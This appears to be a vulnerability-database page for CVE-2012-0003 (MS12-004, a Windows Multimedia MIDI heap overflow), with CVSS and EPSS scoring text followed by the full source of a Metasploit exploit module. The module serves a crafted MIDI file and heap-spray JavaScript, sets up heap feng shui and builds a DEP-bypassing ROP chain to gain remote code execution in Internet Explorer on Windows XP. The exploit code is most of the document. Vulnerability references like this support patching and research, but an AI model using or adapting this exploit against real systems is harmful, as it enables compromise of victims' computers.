Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE Other |
No informations. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
8.1 |
HIGH |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
134c704f-9b21-4f2e-91b3-4a467353bcc0 |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 18426
Publication date : 2012-01-27 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
'Description' => %q{
This module exploits a heap overflow vulnerability in the Windows Multimedia
Library (winmm.dll). The vulnerability occurs when parsing specially crafted
MIDI files. Remote code execution can be achieved by using Windows Media Player's
ActiveX control.
Exploitation is done by supplying a specially crafted MIDI file with
specific events, causing the offset calculation being higher than how much is
available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
us to either "inc al" or "dec al" a byte. This can be used to corrupt an array
(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
which leverages remote code execution under the context of the user.
At this time, for IE 8 target, JRE (Java Runtime Environment) is required
to bypass DEP (Data Execution Prevention).
Note: Based on our testing, the vulnerability does not seem to trigger when
the victim machine is operated via rdesktop.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Shane Garrett', #Initial discovery (IBM X-Force)
'juan vazquez',
'sinn3r',
],
'References' =>
[
[ 'MSB', 'MS12-004'],
[ 'CVE', '2012-0003' ],
[ 'OSVDB', '78210'],
[ 'BID', '51292'],
[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],
],
'Payload' =>
{
'Space' => 1024,
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => false,
'DispatchDst' => 0x0c0c0c0c
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => false,
'DispatchDst' => 0x0c0c0c0c
}
],
[
'IE 8 on Windows XP SP3',
{
# xchg ecx,esp
# or byte ptr [eax],al
# add byte ptr [edi+5Eh],bl
# ret 8
# From IMAGEHLP
'Rop' => true,
'StackPivot' => 0x76C9B4C2,
'DispatchDst' => 0x0c0c1be4
}
],
],
'Privileged' => false,
'DisclosureDate' => "Jan 10 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(request)
agent = request.headers['User-Agent']
vprint_status("Request from: #{agent}")
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP SP3 + IE 6.0
return targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP SP3 + IE 7.0
return targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
#Windows XP SP3 + IE 8.0 + JRE6
return targets[3]
else
return nil
end
end
def get_midi
# MIDI Fileformat Reference:
# http://www.sonicspot.com/guide/midifiles.html
#
# Event Types:
# 0x08 = Note Off (when MIDI key is released)
# 0x09 = Note On (when MIDI key is pressed)
# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
# 0x0B = Controller Event (MIDI channels state)
# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
# 0x0F = Meta Events (not sent or received over a midi port)
# Structure:
# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)
# Problem:
# Windows Media Player fails to manage Note On and Note Off Events
# Track Chunk Data
tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
# Meta Event - Sequence/Track Name
tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
# Midi Channel Event - Program Change
tc << "\x00\xC9\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x07\x64"
# Midi Channel Event - Controller
tc << "\x00\xB9\x0A\x40"
# Midi Channel Event - Controller
tc << "\x00\xB9\x7B\x00"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5B\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5D\x00"
# Midi Channel Event - Note On
tc << "\x85\x50\x99\x23\x7F"
# Corruption events
# Midi Channel Event - Note On
tc << "\x00\x9F\xb2\x73"
# Ends Corruption events
# Meta Event - End Of Track
tc << "\x00\xFF\x2F\x00"
m = ''
# HEADERCHUNK Header
m << "MThd" # Header
m << "\x00\x00\x00\x06" # Chunk size
m << "\x00\x00" # Format Type
m << "\x00\x01" # Number of tracks
m << "\x00\x60" # Time division
# TRACKCHUNK header
m << "MTrk" # Header
m << [tc.length].pack('N')
m << tc
midi_name = "test_case.mid"
return midi_name, m
end
def on_request_uri(cli, request)
if request.uri =~ /\.mid$/i
print_status("Sending midi file to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
return
end
#Set default target
my_target = target
#If user chooses automatic target, we choose one based on user agent
if my_target.name =~ /Automatic/
my_target = get_target(request)
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
return
end
vprint_status("Target selected: #{my_target.name}")
end
midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
midi_uri << "/#{@m_name}"
spray = build_spray(my_target)
if datastore['OBFUSCATE']
spray = ::Rex::Exploitation::JSObfu.new(spray)
spray.obfuscate
end
trigger = build_trigger(my_target)
trigger_fn = "trigger"
if datastore['OBFUSCATE']
trigger = ::Rex::Exploitation::JSObfu.new(trigger)
trigger.obfuscate
trigger_fn = find_trigger_fn(trigger.to_s)
end
html = %Q|
<html>
<head>
<script language='javascript'>
#{spray}
</script>
<script language='javascript'>
#{trigger}
</script>
<script for=audio event=PlayStateChange(oldState,newState)>
if (oldState == 3 && newState == 0) {
#{trigger_fn}();
}
</script>
</head>
<body>
<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
<param name="fileName" value="#{midi_uri}">
<param name="SendPlayStateChangeEvents" value="true">
<param NAME="AutoStart" value="True">
<param name="uiMode" value="mini">
<param name="Volume" value="-300">
</object>
</body>
</html>
|
html = html.gsub(/^\t\t/, '')
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def exploit
@m_name, @midi = get_midi
super
end
def build_spray(my_target)
# Extract string based on target
if my_target.name == 'IE 8 on Windows XP SP3'
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
else
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
end
# Build shellcode based on Rop requirement
if my_target['Rop']
code = create_rop_chain(my_target)
code << payload.encoded
shellcode = Rex::Text.to_unescape(code)
else
code = payload.encoded
shellcode = Rex::Text.to_unescape(code)
end
# 1. Create big block of nops
# 2. Compose one block which is nops + shellcode
# 3. Repeat the block
# 4. Extract string from the big block
# 5. Spray
spray = <<-JS
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{shellcode}");
var nops = unescape("%u0c0c%u0c0c");
while (nops.length < 0x1000) nops+= nops;
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
#{js_extract_str}
heap_obj.gc();
for (var i=0; i < 600; i++) {
heap_obj.alloc(block);
}
JS
spray = heaplib(spray, {:noobfu => true})
return spray
end
# Build the JavaScript string for the attributes
def build_element(element_name, my_target)
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
element = ''
if my_target.name =~ /IE 8/
max = 63 # Number of attributes for IE 8
index = 1 # Where we want to confuse the type
else
max = 55 # Number of attributes for before IE 8
index = 0 # Where we want to confuse the type
end
element << "var #{element_name} = document.createElement(\"select\")" + "\n"
# Build attributes
0.upto(max) do |i|
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
end
return element
end
# Feng Shui and triggering Steps:
# 1. Run the garbage collector before allocations
# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
# 3. Make holes
# 4. Let windows media play the crafted midi file and corrupt the heap
# 5. Force the using of the confused tagVARIANT.
def build_trigger(my_target)
if my_target.name == 'IE 8 on Windows XP SP3'
# Redoing the feng shui if fails makes it reliable
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
} else {
clones[k].w1('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER
select_element = build_element('selob', my_target)
else
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w0) == "string") {
} else {
clones[k].w0('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER
select_element = build_element('selob', my_target)
end
trigger = <<-JS
var heap = new heapLib.ie();
#{select_element}
var clones=new Array(1000);
function feng_shui() {
heap.gc();
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
#{js_trigger}
JS
trigger = heaplib(trigger, {:noobfu => true})
return trigger
end
def find_trigger_fn(trigger)
fns = trigger.scan(/function ([a-zA-Z0-9_]+)\(\)/)
if fns.nil? or fns.empty?
return "trigger"
else
return fns.last.first
end
return "trigger"
end
def junk(n=1)
tmp = []
value = rand_text(4).unpack("L")[0].to_i
n.times { tmp << value }
return tmp
end
# ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona)
# Added a little of roping to adjust the stack pivoting for this case
# Specific for IE8 XP SP3 case at this time
def create_rop_chain(my_target)
rop_gadgets =
[
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
my_target['StackPivot'], # stackpivot
junk, # padding
0x7c376402, # POP EBP # RETN [msvcr71.dll]
0x7c376402, # skip 4 bytes [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0xfffff800, # Value to negate, will become 0x00000201 (dwSize)
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
0x7c354901, # POP EBX # RETN [msvcr71.dll]
0xffffffff,
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
0x7c38b001, # &Writable location [msvcr71.dll]
0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
0x7c364802, # POP ESI # RETN [msvcr71.dll]
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
].flatten.pack('V*')
return rop_gadgets
end
end
Products Mentioned
Configuraton 0
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_server_2003 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_vista >> Version *
Microsoft>>Windows_xp >> Version *
Microsoft>>Windows_xp >> Version *
Microsoft>>Windows_xp >> Version 2005
References